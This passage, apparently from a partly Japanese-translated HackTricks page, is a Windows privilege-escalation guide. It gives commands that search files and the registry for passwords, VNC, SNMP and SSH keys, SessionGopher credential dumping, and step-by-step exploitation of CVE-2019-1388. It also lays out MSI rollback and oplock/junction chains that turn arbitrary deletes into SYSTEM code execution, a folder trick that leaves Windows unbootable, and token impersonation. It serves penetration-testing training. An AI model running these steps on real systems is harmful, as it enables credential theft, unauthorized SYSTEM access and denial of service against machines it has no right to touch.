reg query "HKCU\Software\ORL\WinVNC3\Password"
|
||
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
|
||
reg query "HKCU\Software\TightVNC\Server"
|
||
reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||
```
|
||
[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||
|
||
### ブラウザの履歴
|
||
|
||
Chrome or Firefox からのパスワードが保存されている dbs を確認するべきです。\
|
||
ブラウザの履歴、ブックマーク、お気に入りもチェックしてください。そこにパスワードが保存されている場合があります。
|
||
|
||
ブラウザからパスワードを抽出するツール:
|
||
|
||
- Mimikatz: `dpapi::chrome`
|
||
- [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)
|
||
- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
|
||
- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
|
||
|
||
### **COM DLL Overwriting**
|
||
|
||
**Component Object Model (COM)** は Windows オペレーティングシステム内に組み込まれた技術で、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にします。各 COM コンポーネントは**identified via a class ID (CLSID)** で識別され、各コンポーネントは一つ以上のインターフェース(identified via interface IDs (IIDs))を通じて機能を公開します。
|
||
|
||
COM クラスとインターフェースはそれぞれレジストリの **HKEY\CLASSES\ROOT\CLSID** および **HKEY\CLASSES\ROOT\Interface** に定義されています。このレジストリは **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** をマージして作成され、結果が **HKEY\CLASSES\ROOT** になります。
|
||
|
||
Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment**(単一スレッド), **Free**(マルチスレッド), **Both**(単一またはマルチ), or **Neutral**(スレッドニュートラル).
|
||
|
||
.png>)
|
||
|
||
基本的に、実行される DLL のいずれかを**overwrite**できれば、その DLL が別のユーザーによって実行される場合に **escalate privileges** できる可能性があります。
|
||
|
||
攻撃者が COM Hijacking を永続化メカニズムとしてどのように使用するかを学ぶには、次を参照してください:
|
||
|
||
{{#ref}}
|
||
com-hijacking.md
|
||
{{#endref}}
|
||
|
||
### **Generic Password search in files and registry**
|
||
|
||
**ファイルの内容を検索する**
|
||
```bash
|
||
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||
findstr /si password *.xml *.ini *.txt *.config
|
||
findstr /spin "password" *.*
|
||
```
|
||
**特定のファイル名を持つファイルを検索する**
|
||
```bash
|
||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||
where /R C:\ user.txt
|
||
where /R C:\ *.ini
|
||
```
|
||
**registry内の key names と passwords を検索する**
|
||
```bash
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||
REG QUERY HKLM /F "password" /t REG_SZ /S /d
|
||
REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||
```
|
||
### パスワードを検索するツール
|
||
|
||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** プラグインで、被害者システム内で credentials を検索するすべての **metasploit POST module** を **automatically execute every metasploit POST module that searches for credentials** ように自動実行するために作成されました。\
|
||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) はこのページで言及されているパスワードを含むすべてのファイルを自動的に検索します。\
|
||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) はシステムからパスワードを抽出する優れたツールです。
|
||
|
||
ツール [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、このデータを平文で保存するいくつかのツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP)の **sessions**, **usernames** および **passwords** を検索します。
|
||
```bash
|
||
Import-Module path\to\SessionGopher.ps1;
|
||
Invoke-SessionGopher -Thorough
|
||
Invoke-SessionGopher -AllDomain -o
|
||
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||
```
|
||
## Leaked Handlers
|
||
|
||
Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
|
||
Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\
|
||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||
|
||
## Named Pipe Client Impersonation
|
||
|
||
Shared memory segments, referred to as **pipes**, enable process communication and data transfer.
|
||
|
||
Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**.
|
||
|
||
When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system).
|
||
|
||
Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||
|
||
## Misc
|
||
|
||
### File Extensions that could execute stuff in Windows
|
||
|
||
Check out the page **https://filesec.io/**
|
||
|
||
### **Monitoring Command Lines for passwords**
|
||
|
||
When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
|
||
```bash
|
||
while($true)
|
||
{
|
||
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||
Start-Sleep 1
|
||
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||
}
|
||
```
|
||
## プロセスからのパスワード取得
|
||
|
||
## 低権限ユーザーから NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC Bypass
|
||
|
||
グラフィカルインターフェイス(console または RDP 経由)にアクセスでき、UAC が有効な場合、Microsoft Windows の一部のバージョンでは低権限ユーザーからでもターミナルや他のプロセス(例: "NT\AUTHORITY SYSTEM")を実行することが可能です。
|
||
|
||
これにより、同じ脆弱性を使って特権昇格と UAC のバイパスを同時に行うことができます。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリは Microsoft によって署名・発行されています。
|
||
|
||
影響を受けるシステムの一部は次のとおりです:
|
||
```
|
||
SERVER
|
||
======
|
||
|
||
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
|
||
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
|
||
Windows 2016 14393 ** link OPENED AS SYSTEM **
|
||
Windows 2019 17763 link NOT opened
|
||
|
||
|
||
WORKSTATION
|
||
===========
|
||
|
||
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
|
||
Windows 8 9200 ** link OPENED AS SYSTEM **
|
||
Windows 8.1 9600 ** link OPENED AS SYSTEM **
|
||
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
|
||
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
|
||
Windows 10 1703 15063 link NOT opened
|
||
Windows 10 1709 16299 link NOT opened
|
||
```
|
||
この脆弱性を悪用するには、次の手順を実行する必要があります:
|
||
```
|
||
1) Right click on the HHUPD.EXE file and run it as Administrator.
|
||
|
||
2) When the UAC prompt appears, select "Show more details".
|
||
|
||
3) Click "Show publisher certificate information".
|
||
|
||
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
|
||
|
||
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
|
||
|
||
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
|
||
|
||
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
|
||
|
||
8) Remember to cancel setup and the UAC prompt to return to your desktop.
|
||
```
|
||
You have all the necessary files and information in the following GitHub repository:
|
||
|
||
https://github.com/jas502n/CVE-2019-1388
|
||
|
||
## From Administrator Medium to High Integrity Level / UAC Bypass
|
||
|
||
Integrity Levels について学ぶには、次を読んでください:
|
||
|
||
|
||
{{#ref}}
|
||
integrity-levels.md
|
||
{{#endref}}
|
||
|
||
次に、UAC と UAC bypass について学ぶには、こちらを読んでください:
|
||
|
||
|
||
{{#ref}}
|
||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||
{{#endref}}
|
||
|
||
## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
|
||
|
||
この手法は [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) で説明されており、エクスプロイトコードは [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs) にあります。
|
||
|
||
攻撃は基本的に、Windows Installer の rollback 機能を悪用して、アンインストール時に正規ファイルを悪意のあるファイルに置き換えるものです。そのために攻撃者は、`C:\Config.Msi` フォルダをハイジャックするための **malicious MSI installer** を作成する必要があります。このフォルダは、他の MSI パッケージをアンインストールする際に、rollback ファイルを格納するために Windows Installer によって使用され、その rollback ファイルが悪意のペイロードを含むように改変されます。
|
||
|
||
要約すると、手法は次の通りです:
|
||
|
||
1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)**
|
||
|
||
- Step 1: Install the MSI
|
||
- 書き込み可能なフォルダ(`TARGETDIR`)に無害なファイル(例: `dummy.txt`)をインストールする `.msi` を作成します。
|
||
- インストーラを **"UAC Compliant"** にマークし、**非管理者ユーザー** が実行できるようにします。
|
||
- インストール後、ファイルへの **handle** を開いたままにします。
|
||
|
||
- Step 2: Begin Uninstall
|
||
- 同じ `.msi` をアンインストールします。
|
||
- アンインストール処理はファイルを `C:\Config.Msi` に移動し、`.rbf` ファイルとしてリネームして rollback バックアップを作成し始めます。
|
||
- `GetFinalPathNameByHandle` を使用して、ファイルが `C:\Config.Msi\<random>.rbf` になったタイミングを検出するために **開いているファイルハンドルをポーリング** します。
|
||
|
||
- Step 3: Custom Syncing
|
||
- `.msi` には、`.rbf` が書き込まれたことを通知し、その後アンインストールを続行する前に別のイベントを待機する **custom uninstall action (`SyncOnRbfWritten`)** が含まれています。
|
||
|
||
- Step 4: Block Deletion of `.rbf`
|
||
- シグナルを受けたら、`FILE_SHARE_DELETE` なしで `.rbf` ファイルを開き、これにより **削除を防止** します。
|
||
- その後アンインストールが終了できるように **シグナルを返します**。
|
||
- Windows Installer は `.rbf` を削除できず、すべての内容を削除できないため、**`C:\Config.Msi` は削除されません**。
|
||
|
||
- Step 5: Manually Delete `.rbf`
|
||
- 攻撃者が手動で `.rbf` ファイルを削除します。
|
||
- これで **`C:\Config.Msi` が空** になり、ハイジャック可能になります。
|
||
|
||
> この時点で、`C:\Config.Msi` を削除するために **SYSTEM レベルの arbitrary folder delete 脆弱性** をトリガーします。
|
||
|
||
2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones**
|
||
|
||
- Step 6: Recreate `C:\Config.Msi` with Weak ACLs
|
||
- `C:\Config.Msi` フォルダを自分で再作成します。
|
||
- **弱い DACL**(例: Everyone:F)を設定し、`WRITE_DAC` を持ったハンドルを開いたままにします。
|
||
|
||
- Step 7: Run Another Install
|
||
- 次の設定で `.msi` を再度インストールします:
|
||
- `TARGETDIR`: 書き込み可能な場所
|
||
- `ERROROUT`: 強制的に失敗させる変数
|
||
- このインストールは再度 **rollback** をトリガーするために使用され、`.rbs` と `.rbf` を読み込みます。
|
||
|
||
- Step 8: Monitor for `.rbs`
|
||
- `ReadDirectoryChangesW` を使用して `C:\Config.Msi` を監視し、新しい `.rbs` が現れるまで待ちます。
|
||
- そのファイル名を取得します。
|
||
|
||
- Step 9: Sync Before Rollback
|
||
- `.msi` には `.rbs` が作成されたときにイベントをシグナルし、その後継続前に待機する **custom install action (`SyncBeforeRollback`)** が含まれています。
|
||
|
||
- Step 10: Reapply Weak ACL
|
||
- `.rbs created` イベントを受け取った後:
|
||
- Windows Installer は `C:\Config.Msi` に強い ACL を再適用します。
|
||
- しかしあなたは `WRITE_DAC` を持ったハンドルを開いたままにしているため、**弱い ACL を再適用** できます。
|
||
|
||
> ACL は **ハンドルを開く時にのみ適用される** ため、依然としてフォルダに書き込みできます。
|
||
|
||
- Step 11: Drop Fake `.rbs` and `.rbf`
|
||
- `.rbs` ファイルを上書きして、Windows に次を行わせる **偽の rollback script** を配置します:
|
||
- あなたの `.rbf`(悪意ある DLL)を **特権のある場所**(例: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)に復元するよう指示する。
|
||
- SYSTEM レベルのペイロード DLL を含む偽の `.rbf` を配置する。
|
||
|
||
- Step 12: Trigger the Rollback
|
||
- 同期イベントによりインストーラを再開させます。
|
||
- 既知のポイントでインストールを意図的に失敗させる **type 19 custom action (`ErrorOut`)** が設定されています。
|
||
- これにより **rollback が開始** されます。
|
||
|
||
- Step 13: SYSTEM Installs Your DLL
|
||
- Windows Installer はあなたの悪意ある `.rbs` を読み取り、ターゲット場所にあなたの `.rbf` DLL をコピーします。
|
||
- これで **SYSTEM がロードするパスに悪意ある DLL を配置** できます。
|
||
|
||
- Final Step: Execute SYSTEM Code
|
||
- `osk.exe` のような信頼された **auto-elevated binary** を実行し、ハイジャックした DLL をロードさせます。
|
||
- Boom: あなたのコードは **SYSTEM として実行** されます。
|
||
|
||
|
||
### From Arbitrary File Delete/Move/Rename to SYSTEM EoP
|
||
|
||
主要な MSI rollback 手法(前述のもの)は、`C:\Config.Msi` のような **フォルダ全体を削除できる** ことを前提としています。しかし、もしあなたの脆弱性が **任意のファイル削除のみ** を許す場合はどうでしょうか?
|
||
|
||
その場合は **NTFS の内部構造** を悪用できます:すべてのフォルダは隠しの代替データストリーム(alternate data stream)を持っています。
|
||
```
|
||
C:\SomeFolder::$INDEX_ALLOCATION
|
||
```
|
||
このストリームはフォルダの**インデックスメタデータ**を保存します。
|
||
|
||
したがって、フォルダの**`::$INDEX_ALLOCATION`ストリームを削除すると**、NTFSはファイルシステムから**フォルダ全体を削除します**。
|
||
|
||
これは次のような標準のファイル削除APIを使用して行うことができます:
|
||
```c
|
||
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
|
||
```
|
||
> あなたが*file* delete APIを呼び出していても、実際には**フォルダ自体が削除されます**。
|
||
|
||
### From Folder Contents Delete to SYSTEM EoP
|
||
あなたのプリミティブが任意のファイル/フォルダを削除できない場合でも、**攻撃者が制御するフォルダの*contents*の削除を許可する**としたらどうしますか?
|
||
|
||
1. Step 1: Setup a bait folder and file
|
||
- Create: `C:\temp\folder1`
|
||
- Inside it: `C:\temp\folder1\file1.txt`
|
||
|
||
2. Step 2: Place an **oplock** on `file1.txt`
|
||
- **oplock** は、特権プロセスが `file1.txt` を削除しようとすると、その実行を**一時停止**します。
|
||
```c
|
||
// pseudo-code
|
||
RequestOplock("C:\\temp\\folder1\\file1.txt");
|
||
WaitForDeleteToTriggerOplock();
|
||
```
|
||
3. Step 3: SYSTEM プロセスをトリガーする(例: `SilentCleanup`)
|
||
- このプロセスはフォルダ(例: `%TEMP%`)を走査し、その中身を削除しようとします。
|
||
- `file1.txt` に到達すると、**oplock がトリガーされます**。制御があなたの callback に渡されます。
|
||
|
||
4. Step 4: oplock callback 内で – 削除をリダイレクトする
|
||
|
||
- Option A: `file1.txt` を別の場所に移動する
|
||
- これにより oplock を壊すことなく `folder1` を空にできます。
|
||
- `file1.txt` を直接削除しないでください — それを行うと oplock が早期に解除されます。
|
||
|
||
- Option B: `folder1` を **junction** に変換する:
|
||
```bash
|
||
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
|
||
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
|
||
```
|
||
- オプション C: `\RPC Control` に **symlink** を作成する:
|
||
```bash
|
||
# Make file1.txt point to a sensitive folder stream
|
||
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
|
||
```
|
||
> これはフォルダのメタデータを保存するNTFSの内部ストリームを標的にしており — それを削除するとフォルダ自体が削除されます。
|
||
|
||
5. ステップ5: oplock を解除する
|
||
- SYSTEM プロセスは続行し、`file1.txt` の削除を試みます。
|
||
- しかし今や、junction + symlink のため、実際に削除されているのは:
|
||
```
|
||
C:\Config.Msi::$INDEX_ALLOCATION
|
||
```
|
||
**結果**: `C:\Config.Msi` は SYSTEM によって削除される。
|
||
|
||
### 任意のフォルダ作成から恒久的な DoS へ
|
||
|
||
原始的な機能を悪用して、**SYSTEM/admin として任意のフォルダを作成できる** — たとえ **ファイルを書き込めない** や **弱い権限を設定できない** 場合でも。
|
||
|
||
**folder**(ファイルではなく)を**重要な Windows ドライバー**の名前で作成する、例:
|
||
```
|
||
C:\Windows\System32\cng.sys
|
||
```
|
||
- このパスは通常 `cng.sys` カーネルモードドライバに対応します。
|
||
- もし**事前にフォルダとして作成しておくと**、Windows は起動時に実際のドライバを読み込めなくなります。
|
||
- その後、Windows は起動中に `cng.sys` を読み込もうとします。
|
||
- フォルダを見つけ、**実際のドライバを解決できず**、**クラッシュまたは起動が停止**します。
|
||
- 外部からの介入(例: 起動修復やディスクアクセス)がなければ、**フォールバックはなく**、**回復できません**。
|
||
|
||
|
||
## **High Integrity から System へ**
|
||
|
||
### **新しいサービス**
|
||
|
||
もし既に High Integrity なプロセスで実行中であれば、**SYSTEM へのパス**は**新しいサービスを作成して実行するだけ**で簡単に得られることがあります:
|
||
```
|
||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||
sc start newservicename
|
||
```
|
||
> [!TIP]
|
||
> サービス用バイナリを作成する際は、有効なサービスであること、またはバイナリが必要な動作を迅速に実行することを確認してください。そうでない場合、サービスでなければ20秒で終了されます。
|
||
|
||
### AlwaysInstallElevated
|
||
|
||
From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\
|
||
[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated)
|
||
|
||
### High + SeImpersonate privilege to System
|
||
|
||
**次のリンクで** [**find the code here**](seimpersonate-from-high-to-system.md)**。**
|
||
|
||
### From SeDebug + SeImpersonate to Full Token privileges
|
||
|
||
If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\
|
||
これらの token privileges を持っていれば(おそらく既に High Integrity プロセスで見つかるでしょう)、SeDebug privilege を使って(protected processes を除き)ほとんど任意のプロセスを開き、プロセスのトークンをコピーし、そのトークンで任意のプロセスを作成できます。\
|
||
Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\
|
||
**以下のリンクで** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**を参照してください。**
|
||
|
||
### **Named Pipes**
|
||
|
||
This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\
|
||
この方法は meterpreter が `getsystem` で使用する手法です。手法の内容は、**パイプを作成し、そのパイプに書き込ませるために service を作成/悪用する**ことです。すると、そのパイプを作成した **server** は **`SeImpersonate`** privilege を使ってパイプクライアント(service)のトークンを**偽装 (impersonate)** し、SYSTEM 権限を得ることができます。\
|
||
If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\
|
||
If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md).
|
||
|
||
### Dll Hijacking
|
||
|
||
If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\
|
||
もし SYSTEM として実行されているプロセスによってロードされる dll を**ハイジャック**できれば、その権限で任意のコードを実行できます。したがって Dll Hijacking はこの種の権限昇格に有用であり、さらに high integrity process から達成する方が**はるかに容易**です。high integrity process は dll をロードするフォルダに対する**書き込み権限**を持つためです。\
|
||
**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.**
|
||
|
||
### **From Administrator or Network Service to System**
|
||
|
||
- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator)
|
||
- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/)
|
||
- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit)
|
||
|
||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||
|
||
**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||
|
||
## More help
|
||
|
||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||
|
||
## Useful tools
|
||
|
||
**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||
|
||
**PS**
|
||
|
||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Check for misconfigurations and sensitive files (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\
|
||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Check for some possible misconfigurations and gather info (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
|
||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Check for misconfigurations**\
|
||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.**\
|
||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extracts crendentials from Credential Manager. Detected.**\
|
||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray gathered passwords across domain**\
|
||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer and man-in-the-middle tool.**\
|
||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basic privesc Windows enumeration**\
|
||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Search for known privesc vulnerabilities (DEPRECATED for Watson)\
|
||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Local checks **(Need Admin rights)**
|
||
|
||
**Exe**
|
||
|
||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extracts credentials from lots of softwares (precompiled exe in github)**\
|
||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port of PowerUp to C#**\
|
||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.\
|
||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.
|
||
|
||
**Bat**
|
||
|
||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool created based in this post (it does not need accesschk to work properly but it can use it).
|
||
|
||
**Local**
|
||
|
||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Reads the output of **systeminfo** and recommends working exploits (local python)\
|
||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Reads the output of **systeminfo** andrecommends working exploits (local python)
|
||
|
||
**Meterpreter**
|
||
|
||
_multi/recon/local_exploit_suggestor_
|
||
|
||
You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do:
|
||
```
|
||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||
```
|
||
## 参考文献
|
||
|
||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
|
||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
|
||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
|
||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
|
||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
|
||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
|
||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
|
||
|
||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|